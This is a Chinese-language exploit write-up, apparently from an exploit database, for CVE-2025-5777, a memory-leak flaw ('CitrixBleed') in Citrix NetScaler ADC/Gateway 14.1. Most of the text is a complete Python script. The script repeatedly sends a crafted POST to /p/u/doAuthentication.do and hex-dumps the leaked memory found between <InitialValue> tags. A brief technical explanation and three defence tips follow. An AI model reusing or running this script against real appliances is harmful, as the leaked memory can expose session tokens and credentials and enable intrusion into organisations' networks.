Citrix NetScaler ADC/Gateway 14.1 内存泄露漏洞分析与利用

本文详细分析了Citrix NetScaler ADC/Gateway 14.1版本存在的内存泄露漏洞(CVE-2025-5777),提供了完整的Python利用代码,可远程读取目标系统内存数据,包含技术细节和利用方法。

漏洞标题:Citrix NetScaler ADC/Gateway 14.1 - 内存泄露

漏洞作者:Yesith Alvarez

厂商主页:https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420

CVE编号:CVE-2025-5777

漏洞链接:https://github.com/yealvarez/CVE/blob/main/CVE-2025-5777/exploit.py

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import re
import sys
import warnings
import requests
from time import sleep
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def title():
    print(r'''
  ______     _______     ____   ___ ____  ____       ____ _____ _____ _____ 
 / ___\ \   / / ____|   |___ \ / _ \___ \| ___|     | ___|___  |___  |___  |
| |    \ \ / /|  _| _____ __) | | | |__) |___ \ ____|___ \  / /   / /   / / 
| |___  \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__) |/ /   / /   / /  
 \____|  \_/  |_____|   |_____|\___/_____|____/     |____//_/   /_/   /_/   
                                                        
[+] CitrixBleed - 内存泄露漏洞(越界读取)
[+] 作者:Yesith Alvarez
[+] Github:https://github.com/yealvarez
[+] Linkedin:https://www.linkedin.com/in/pentester-ethicalhacker/
[+] 代码改进:https://github.com/yealvarez/CVE/blob/main/CVE-2025-5777/exploit.py
    ''')


def print_hex(data: bytes):
    for i in range(0, len(data), 16):
        chunk = data[i:i+16]
        hex_part = " ".join(f"{b:02X}" for b in chunk)
        ascii_part = "".join(chr(b) if 32 <= b <= 126 else "." for b in chunk)
        print("{:08X}".format(i) + "  " + "{:<47}".format(hex_part) + "  " + ascii_part)

def extraction(blob: bytes) -> bytes | None:
    OpenInitialValue = "<InitialValue>".encode("utf-8")
    closenitialValue = "</InitialValue>".encode("utf-8")
    matched = "(.*?)".encode("utf-8")
    extract = re.compile(re.escape(OpenInitialValue) + matched  + re.escape(closenitialValue),flags=re.DOTALL | re.IGNORECASE)
    m = extract.search(blob)
    return None if m is None else m.group(1)


def exploit(target: str):
    url = "https://"+target+"/p/u/doAuthentication.do"
    
    headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
    }
        
    try:
        resp = requests.post(
            url,
            data="login".encode("utf-8"),
            headers=headers,
            timeout=15,
            verify=False,
        )
        resp.raise_for_status()
    except Exception as e:
        print("["+target+"] 错误:未发现漏洞: " + str(e))
        return

    binary = extraction(resp.content)
    if binary is None:
        print("["+target+"] 连接错误 ")
        return
    print("\n[+] 从目标 ["+target+"] 捕获 "+str(len(binary))+" 字节数据:\n")
    print_hex(binary)

if __name__ == '__main__':
    warnings.simplefilter("ignore", InsecureRequestWarning)
    title()
    if len(sys.argv) < 2:
        print('[+] 用法:python3'+sys.argv[0]+' <目标主机>\n')
        print('[+] 示例:python3'+sys.argv[0]+' 10.10.10.10\n')
        sys.exit(0)
    else:
        target = sys.argv[1]
        try:
            while True:
                exploit(target)
               
        except KeyboardInterrupt:
            print("\n[+] 用户终止操作。")

技术分析

该漏洞存在于Citrix NetScaler ADC/Gateway 14.1版本中,属于内存泄露漏洞(CVE-2025-5777)。攻击者可以通过构造特殊的HTTP请求,从目标系统内存中读取敏感信息。

漏洞原理

  1. 漏洞触发点位于/p/u/doAuthentication.do接口
  2. 当发送特定格式的POST请求时,系统会返回包含内存数据的响应
  3. 响应中包含<InitialValue>标签包裹的原始内存数据

利用方法

  1. 构造包含"login"数据的POST请求
  2. 从响应中提取<InitialValue>标签内的内容
  3. 以十六进制和ASCII格式显示内存数据

防御建议

  1. 及时升级到Citrix官方提供的最新版本
  2. /p/u/doAuthentication.do接口实施访问控制
  3. 部署WAF设备过滤异常请求
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